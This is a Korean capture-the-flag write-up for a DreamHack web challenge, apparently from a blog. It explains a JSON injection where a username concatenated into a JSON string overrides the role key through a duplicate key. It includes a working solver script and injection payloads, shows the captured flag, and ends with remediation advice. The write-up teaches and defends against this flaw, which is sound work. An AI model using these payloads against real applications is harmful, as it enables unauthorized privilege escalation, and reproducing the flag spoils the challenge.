[🥈 Silver 4] 문자열을 이어 붙여 JSON 을 만들면 — DreamHack role-admin 풀이

문제: DreamHack — {"role": "admin"} 분류: web 난이도: 🥈 Silver 4 FLAG: DH{d2h5X2RpZF95b3VfZGVjb2RlX3RoaXM=}

문제 설명은 한 줄이다.

Can you gain admin access?

제목이 이미 답의 모양을 보여 주고 있다. {"role": "admin"} 을 만들어 내면 된다.

문제 서버 로그인 화면 — username 과 password 입력칸만 있고 상단에 Register 와 Login 링크가 있는 단순한 Flask 앱이다

문제 개요

항목	내용
문제명	`{"role": "admin"}` (id 2674)
난이도	🥈 Silver 4
분류	web
스택	Flask 3.0.3 · Python 3.12-slim (Dockerfile 제공)
제공 파일	`app.py` (135줄) · `Dockerfile` · `templates/*.html`
서버	`host3.dreamhack.games:<PORT>` (라이브 VM)
핵심 취약점	JSON 인젝션 — f-string 으로 조립한 JSON + 중복 키

app.py 가 135줄뿐이라 취약점은 금방 좁혀진다. 회원가입 처리에서 사용자 입력을 JSON 문자열 안에 그대로 끼워 넣는 자리가 보이면 끝이다.

풀이는 짧았다. 소스에서 f-string 을 발견하고, 파이썬 json 이 중복 키를 어떻게 처리하는지 확인하고, 로컬 도커로 검증한 뒤 라이브에 그대로 옮겼다.

🧩 배경 — JSON 을 문자열로 만들면

객체를 JSON 으로 만드는 방법은 둘이다.

직렬화 함수를 쓴다. json.dumps({"role": "user", "username": name}) 처럼. 이러면 라이브러리가 값 안의 따옴표·역슬래시·제어문자를 알아서 이스케이프한다. 어떤 문자열이 들어와도 구조가 깨지지 않는다.

문자열을 이어 붙인다. f'{{"username":"{name}"}}' 처럼. 이러면 값이 문법의 일부가 된다. 값 안에 " 가 있으면 거기서 문자열이 끝나 버리고, 그 뒤는 JSON 문법으로 읽힌다.

두 번째가 SQL 인젝션과 완전히 같은 모양이다. 다만 대상이 SQL 이 아니라 JSON 일 뿐이다.

그리고 JSON 에는 SQL 에 없는 성질이 하나 더 있다. 같은 키가 두 번 나와도 에러가 아니다. RFC 8259 는 "키는 유일해야 한다(SHOULD)" 라고만 하고 파서 동작은 구현에 맡긴다. 파이썬 json 은 나중에 나온 값을 남긴다.

값을 덮어쓸 수 있다는 뜻이다. 앞에 뭐가 박혀 있든.

🔬 코드 정찰

회원가입

sed -n "48,82p" extracted/app.py

app.py 의 register 라우트 전문 — username 과 password 를 받아 f-string 으로 role user 가 앞에 박힌 JSON 문자열을 만들고 json.loads 로 파싱한 뒤 USERS 와 UID 에 저장한다

문제의 자리는 여기다.

uid = str(uuid.uuid4())
pw = pw_hash(password)
 
raw_user = (
    f'{{"role":"user",'
    f'"username":"{username}",'      # ← 이스케이프가 없다
    f'"pw":"{pw}",'
    f'"uid":"{uid}"}}'
)
 
try:
    user = json.loads(raw_user)
except Exception:
    return render_template("register.html", title="Register", error="회원가입에 실패했습니다."), 400

role 이 맨 앞에 "user" 로 하드코딩돼 있다. 개발자 입장에서는 "가입은 무조건 일반 사용자" 를 강제한 것이다.

그런데 username 이 그 뒤에 이스케이프 없이 들어간다. 뒤에서 role 을 한 번 더 쓰면 앞의 것이 덮인다.

나머지 흐름

@app.route("/flag", methods=["GET"])
def flag():
    user = current_user()
    if not user:
        return jsonify(error="not logged in"), 401
    if user.get("role") == "admin":      # ← 저장된 객체의 role 만 본다
        return jsonify(flag=FLAG)
    return jsonify(error="forbidden"), 403

/flag 는 세션의 uid 로 USERS 에서 꺼낸 객체의 role 만 본다. 별도 검증이 없다. 그러니 저장 시점에 role 을 admin 으로 만들면 그걸로 끝이다.

로그인도 우리 편이다. pw 는 주입과 무관하게 우리가 정한 해시 그대로 남으니 정상적으로 로그인된다.

💣 핵심 — 중복 키

username 에 이걸 넣는다.

hacker","role":"admin

그러면 서버가 만드는 문자열은 이렇게 된다.

{"role":"user","username":"hacker","role":"admin","pw":"<sha256>","uid":"<uuid>"}

role 이 두 번 들어갔다.

username 이 JSON 문자열 안에 그대로 들어가는 과정을 그린 도식 — 평범한 이름이면 role 이 user 로 남아 403 이지만, 따옴표를 닫고 role 을 하나 더 넣으면 나중 값인 admin 이 남는다

파이썬이 이걸 어떻게 읽는지는 직접 돌려 보면 된다.

#!/usr/bin/env python3
"""중복 키가 있는 JSON 을 파이썬이 어떻게 읽는지 확인한다."""
import json
 
TEMPLATE = '{{"role":"user","username":"{u}","pw":"<sha256>","uid":"<uuid>"}}'
 
cases = [
    ("평범한 이름", "hacker"),
    ("따옴표 닫고 role 추가", 'hacker","role":"admin'),
    ("role 을 앞에 넣어 보면", 'hacker","role":"admin","username":"hacker'),
]
 
for label, username in cases:
    raw = TEMPLATE.format(u=username)
    print(f"[{label}]")
    print(f"  서버가 만드는 문자열 : {raw}")
    try:
        obj = json.loads(raw)
    except Exception as e:
        print(f"  json.loads → 예외: {e}\n")
        continue
    print(f"  json.loads 결과      : {obj}")
    print(f"  role                 : {obj.get('role')}"
          f"{'   ← 관문 통과' if obj.get('role') == 'admin' else ''}")
    print(f"  username             : {obj.get('username')}\n")
 
print("파이썬 json 은 중복 키에서 '나중에 나온 값'을 남긴다.")
print("그래서 앞에 박혀 있는 \"role\":\"user\" 를 뒤에서 덮어쓸 수 있다.")

python3 json_dup_demo.py

중복 키 실험 출력 — 평범한 이름은 role 이 user 로 남지만, 따옴표를 닫고 role 을 덧붙인 경우 파싱 결과의 role 이 admin 으로 바뀌어 관문을 통과한다

세 번째 케이스도 눈여겨볼 만하다. username 까지 다시 넣어도 결과는 같다 — 어차피 나중 값이 남으니 표시 이름을 원하는 대로 고정할 수도 있다.

남는 조건 하나

username 에 따옴표를 넣었는데 뒤에서 이름 충돌 검사를 통과할까?

final_username = str(user.get("username", "")).strip()
if final_username in UID:
    return ... , 409

검사 대상은 파싱된 뒤의 username 이다. 주입 문자열이 아니라 "hacker" 다. 그러니 hacker 라는 이름만 안 쓰이고 있으면 통과한다. 그리고 로그인할 때도 hacker 로 하면 된다.

어디까지 덮을 수 있나

role 이 덮인다면 pw 나 uid 도 덮어서 아예 기존 admin 계정을 가로챌 수 있지 않을까. 확인해 봤다.

#!/usr/bin/env python3
"""주입으로 '무엇까지' 덮을 수 있는지 따져 본다."""
import json
 
TEMPLATE = '{{"role":"user","username":"{u}","pw":"<서버가 정한 해시>","uid":"<서버가 만든 uuid>"}}'
 
cases = [
    ("role 덮기 — 주입 지점보다 앞", 'hacker","role":"admin', "role"),
    ("username 덮기 — 자기 자신", 'hacker","username":"other', "username"),
    ("pw 덮기 시도 — 주입 지점보다 뒤", 'hacker","pw":"deadbeef', "pw"),
    ("uid 덮기 시도 — 숫자를 그냥 넣으면", 'hacker","uid":1', "uid"),
    ("uid 덮기 시도 — 문법을 맞춰서", 'hacker","uid":1,"pad":"', "uid"),
]
 
print(f"틀 : {TEMPLATE.format(u='<주입 지점>')}\n")
 
for label, username, key in cases:
    raw = TEMPLATE.format(u=username)
    print(f"[{label}]")
    print(f"  username : {username}")
    try:
        obj = json.loads(raw)
    except json.JSONDecodeError as e:
        print(f"  json.loads → JSONDecodeError: {e.msg} (col {e.colno})")
        print("             서버는 이때 400 '회원가입에 실패했습니다' 를 준다\n")
        continue
    print(f"  {key:8s} : {obj.get(key)!r}")
    print()

python3 inject_scope.py

주입 범위 실험 출력 — role 과 username 은 덮이지만 pw 와 uid 는 서버 값이 이기고, 숫자를 그냥 넣으면 JSON 문법이 깨져 파싱 예외가 난다

답은 주입 지점보다 앞에 있는 키만 이다.

틀의 키 순서가 role → username → pw → uid 인데 우리가 끼어드는 자리는 username 이다. 우리가 넣은 pw/uid 는 틀의 원래 pw/uid 보다 먼저 나오므로, 나중 값이 이기는 규칙에 따라 서버 값이 남는다.

그래서 이 경로로는 권한 상승까지고 기존 admin(uid 1) 계정 탈취는 안 된다. role 이 하필 맨 앞에 있어서 뚫린 것이다 — 개발자가 "무조건 user 로 못박겠다" 며 앞에 둔 그 위치가 오히려 유일하게 덮을 수 있는 자리를 만들었다.

숫자를 그냥 넣은 경우도 볼 만하다. "uid":1 뒤에 틀의 " 가 그대로 따라와 JSON 이 깨지고, json.loads 가 예외를 던져 서버가 400 을 준다. 주입이 문법을 깨면 그대로 티가 난다는 뜻이라, 페이로드를 다듬을 때 이 응답이 신호가 된다.

🐛 삽질

▶🕳️ 삽질 1 — 대조군이 대조군이 아니었다

로컬 검증을 처음 돌릴 때 "주입 없는 계정도 확인해 두자" 며 이렇게 불렀다.

python3 solve.py http://127.0.0.1:15000 --name plainuser --password pw
python3 solve.py http://127.0.0.1:15000 --name hacker    --password pw1234

둘 다 flag 가 나왔다. 잠깐 "어? 주입 없이도 되나?" 싶었는데, 원인은 코드 쪽이었다.

--name 은 그냥 표시 이름이고, 실제로 보내는 값은 함수가 만든다.

payload = build_username(a.name)     # 이름이 뭐든 항상 주입 문자열을 만든다

즉 두 번 다 주입을 보냈다. 대조군이라고 부른 쪽도 공격이었던 것이다.

--plain 플래그를 만들어 주입을 실제로 끄고 나서야 403 이 나왔다.

payload = a.name if a.plain else build_username(a.name)

"대조군"이라는 이름을 붙였다고 대조군이 되지는 않는다. 두 실행이 정확히 어디서 갈리는지 코드로 확인해야 한다. 이걸 안 잡았으면 "주입 없이도 flag 가 나온다"는 엉뚱한 결론을 글에 실을 뻔했다.

▶🕳️ 삽질 2 — 403 을 보려는데 예외가 먼저 터졌다

대조군을 제대로 만들고 돌렸더니 이번엔 결과 대신 트레이스백이 나왔다.

urllib.error.HTTPError: HTTP Error 403: FORBIDDEN

urllib 은 4xx/5xx 를 예외로 올린다. requests 처럼 응답 객체를 돌려주지 않는다. 그런데 이 문제에서는 403 의 본문({"error":"forbidden"})이 보고 싶은 것이라, 예외로 끝나면 정작 필요한 걸 못 본다.

HTTPError 객체 자체가 파일 같은 객체라 .read() 가 된다는 걸 이용해 삼켰다.

def get(path: str) -> str:
    """403/401 도 본문을 봐야 하므로 HTTPError 를 삼키고 응답을 돌려준다."""
    try:
        with opener.open(base + path, timeout=30) as r:
            return r.read().decode(errors="replace")
    except urllib.error.HTTPError as e:
        return f"[HTTP {e.code}] " + e.read().decode(errors="replace")

실패 응답이 결과인 도구에서는 4xx 를 예외로 두면 안 된다. 대조군이 있는 익스플로잇 스크립트는 대체로 이 경우에 해당한다.

🎯 익스플로잇

브라우저로

회원가입 폼에 그대로 넣어 본다. 특별한 도구가 필요 없다.

회원가입 폼에 주입 문자열을 채운 화면 — username 칸에 hacker 뒤로 따옴표를 닫고 role admin 을 덧붙인 값이 들어가 있다

가입이 끝나면 표시 이름은 shotuser 다. 그 이름으로 로그인한다.

로그인 폼에 주입 없는 평범한 이름을 채운 화면 — 가입 때는 주입 문자열을 썼지만 로그인은 파싱된 뒤의 이름으로 한다

로그인하면 메인이 우리 권한을 그대로 보여 준다.

로그인 후 메인 화면 — username 은 shotuser 인데 role 이 admin 으로 표시돼 있어 권한 상승이 이뤄졌음이 드러난다

role: admin. /me 로 저장된 객체를 직접 확인한다.

me 엔드포인트 응답 — 저장된 사용자 객체에 role 이 admin 이고 username 은 shotuser 이며 uid 는 생성된 uuid 다

그리고 /flag.

flag 엔드포인트에 접근한 브라우저 화면 — 주소창에 22222 포트의 flag 경로가 보이고, role 검사를 통과해 403 대신 200 으로 플래그 문자열이 JSON 한 줄로 그대로 반환된다

대조군

주입 없이 평범하게 가입한 계정은 어떻게 되는지도 같이 확인해 둔다.

주입 없이 평범하게 가입한 계정의 me 응답 — 같은 uuid 형태 uid 를 받았지만 role 이 user 로 남아 있어, 앞서 주입으로 만든 admin 계정과 정확히 대비된다

주입 없이 가입한 계정으로 flag 에 접근한 화면 — 같은 경로인데 이번에는 403 과 함께 forbidden 만 돌아와, 권한 검사 자체는 정상 동작한다는 게 드러난다

role: user → 403 forbidden. 검사 자체는 제대로 동작한다. 무너진 건 그 검사가 보는 값을 우리가 정할 수 있다는 것뿐이다.

🚀 Full Exploit

#!/usr/bin/env python3
"""{"role": "admin"} (DreamHack, Silver 4 / web) — solver
 
취약점:
  /register 가 username 을 이스케이프 없이 JSON **문자열 안에** 끼워 넣는다.
 
      raw_user = f'{{"role":"user","username":"{username}","pw":"{pw}","uid":"{uid}"}}'
      user = json.loads(raw_user)
 
  그래서 username 에 따옴표를 하나 닫고 `,"role":"admin"` 을 덧붙이면
  같은 객체에 role 키가 두 번 들어간다.
 
      {"role":"user","username":"hacker","role":"admin","pw":"...","uid":"..."}
 
  ★ 파이썬 json 은 중복 키에서 **나중 값을 취한다**. role 이 admin 으로 덮인다.
  /flag 는 user.get("role") == "admin" 만 보므로 그대로 통과한다.
 
  비밀번호는 우리가 정한 그대로 남으니 로그인도 정상적으로 된다.
 
사용:
  python3 solve.py http://host1.dreamhack.games:10000
"""
import argparse
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
import http.cookiejar
 
 
def build_username(name: str) -> str:
    """검사는 통과하고 role 만 덮어쓰는 username 을 만든다."""
    return f'{name}","role":"admin'
 
 
def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("target", help="문제 서버 URL (예: http://host1.dreamhack.games:10000)")
    ap.add_argument("--name", default="hacker", help="가입할 이름")
    ap.add_argument("--password", default="pw1234")
    ap.add_argument("--plain", action="store_true",
                    help="주입 없이 그냥 가입한다 (대조군 — 403 이 나와야 정상)")
    a = ap.parse_args()
 
    base = a.target.rstrip("/")
    jar = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))
 
    def post(path: str, data: dict) -> str:
        req = urllib.request.Request(base + path,
                                     data=urllib.parse.urlencode(data).encode())
        with opener.open(req, timeout=30) as r:
            return r.read().decode(errors="replace")
 
    def get(path: str) -> str:
        """403/401 도 본문을 봐야 하므로 HTTPError 를 삼키고 응답을 돌려준다."""
        try:
            with opener.open(base + path, timeout=30) as r:
                return r.read().decode(errors="replace")
        except urllib.error.HTTPError as e:
            return f"[HTTP {e.code}] " + e.read().decode(errors="replace")
 
    payload = a.name if a.plain else build_username(a.name)
    print(f"[*] 보낼 username : {payload!r}" + ("   (대조군 — 주입 없음)" if a.plain else ""))
    print("[*] 서버가 만들 JSON :")
    print(f'    {{"role":"user","username":"{payload}","pw":"<sha256>","uid":"<uuid>"}}')
 
    body = post("/register", {"username": payload, "password": a.password})
    if "error" in body and "이미 존재" in body:
        print("[-] 이미 존재하는 username — --name 을 바꿔라")
        return 1
    print(f"[+] 가입 완료 (표시 이름은 {a.name!r})")
 
    post("/login", {"username": a.name, "password": a.password})
    me = get("/me")
    print(f"[*] /me → {me.strip()}")
    is_admin = '"role": "admin"' in me or '"role":"admin"' in me
    if a.plain:
        print(f"[*] 대조군 role admin? {is_admin}")
    elif not is_admin:
        print("[-] role 이 admin 이 아니다")
        return 1
    else:
        print("[+] role 이 admin 으로 덮였다")
 
    out = get("/flag")
    print(f"[*] /flag → {out.strip()}")
    m = re.search(r"DH\{[^}]*\}", out)
    if m:
        print(f"[+] FLAG: {m.group(0)}")
        return 0
    print("[-] flag 를 못 받았다")
    return 1
 
 
if __name__ == "__main__":
    sys.exit(main())

--plain 은 주입 없이 같은 흐름을 도는 대조군이다. 익스가 "우연히 되는 것"이 아니라 주입 때문에 되는 것임을 같은 스크립트로 보이려고 넣었다.

python3 solve.py http://host3.dreamhack.games:22222 --name shotrun --password pw1234

라이브 서버에 solve.py 를 돌린 결과 — 주입할 username 과 서버가 만들 JSON 을 찍은 뒤 가입과 로그인을 거쳐 me 의 role 이 admin 임을 확인하고 flag 를 받아 온다

DH{d2h5X2RpZF95b3VfZGVjb2RlX3RoaXM=}

플래그가 base64 처럼 생겨서 디코드해 보면 why_did_you_decode_this 다. 출제자의 농담이고, 제출은 원문 그대로 한다.

🧪 재현

라이브에 나가기 전에 같은 걸 전부 로컬에서 돌렸다. Dockerfile 이 그대로 있으니 문제 환경을 통째로 재현할 수 있다.

./reproduce.sh

reproduce.sh 로컬 실행 결과 — 중복 키 동작을 먼저 확인하고 배포본으로 이미지를 빌드한 뒤, 대조군은 403 을 받고 주입은 더미 플래그를 받아 기법 PASS 로 끝난다

인자를 주면 라이브 모드로 돈다.

./reproduce.sh http://host3.dreamhack.games:22222

판정은 이렇게 읽는다.

화면	뜻	대처
`회원가입에 실패했습니다`	주입이 JSON 문법을 깨뜨림	따옴표 개수 확인 — 여는 것 없이 닫기만
`이미 존재하는 username`	같은 이름을 이미 썼다	`--name` 을 바꾼다
대조군이 403 이 아님	배포본이 아닌 걸 띄웠다	`extracted/app.py` 로 빌드했는지 확인
`/me` 의 role 이 user	주입이 문자열로만 들어감	폼 인코딩에서 `"` 가 살아 있는지 확인
`/flag` 가 401	세션 쿠키가 안 붙음	쿠키 처리기(`HTTPCookieProcessor`) 확인

로컬 모드가 쓰는 더미 플래그는 DH{local_dummy_role_admin} 이다. 진짜 플래그는 문제 서버 환경변수에만 있으므로 오프라인으로는 얻을 수 없다.

필요한 건 docker 와 python3 둘이다.

📝 결론

JSON 은 직렬화 함수로 만든다. 문자열로 이어 붙이지 않는다.

json.dumps 를 썼으면 이 문제는 존재하지 않는다. 값 안의 따옴표가 \" 로 이스케이프돼 구조가 깨지지 않기 때문이다. f-string 으로 조립하는 순간 값이 문법이 된다 — SQL 을 문자열로 이어 붙일 때와 정확히 같은 실수다.

user = {"role": "user", "username": username, "pw": pw, "uid": uid}   # 이거면 끝

키 순서로 권한을 강제하려는 시도는 통하지 않는다.

"role":"user" 를 맨 앞에 박아 둔 건 "가입은 무조건 일반 사용자" 를 못박으려던 의도로 보인다. 그런데 JSON 은 중복 키를 에러로 만들지 않고, 파이썬은 나중 값을 남긴다. 앞에 두는 것으로는 아무것도 보장되지 않는다.

파서마다 다르다는 것도 알아 둘 만하다. 자바스크립트 JSON.parse 도 나중 값을 남기지만, 어떤 구현은 첫 값을 남기고 어떤 구현은 에러를 낸다. 그 차이 자체가 취약점이 되기도 한다 — 검사하는 파서와 사용하는 파서가 다르면 값이 갈린다.

권한은 사용자 입력이 닿는 자리에 두지 않는다.

이 앱은 role 을 사용자 객체 안에 넣어 두고 /flag 에서 그 값을 그대로 믿는다. 입력 처리에 구멍이 하나라도 나면 권한이 통째로 넘어가는 구조다. 역할은 사용자가 만든 데이터와 다른 자리에 두거나, 최소한 저장 직후에 서버가 다시 강제해야 한다.

user = json.loads(raw_user)
user["role"] = "user"        # 파싱 뒤에 한 번 더 못박으면 이 공격은 막힌다

그리고 대조군을 같이 돌리면 설명이 짧아진다.

--plain 으로 주입 없는 흐름을 나란히 돌려 보면 403 이 나온다. 익스가 통하는 이유가 "주입 때문"이라는 게 화면 두 장으로 끝난다. 취약점을 보고할 때도 이 한 쌍이 있으면 설득에 드는 말이 크게 줄어든다.

[🥈 Silver 4] 문자열을 이어 붙여 JSON 을 만들면 — DreamHack role-admin 풀이

댓글

관련 글

[🥇 Gold 3] 비밀번호를 맞히는 대신 비교 대상을 바꾼다 — DreamHack Proton Memo 풀이

[🥈 Silver 2] 검사기는 문자열을 보고 curl 은 URL 을 파싱한다 — DreamHack curling 풀이

[🥉 Bronze 1] 봇의 admin 헤더를 빌려 /whoami 털기 — DreamHack Are you admin? 풀이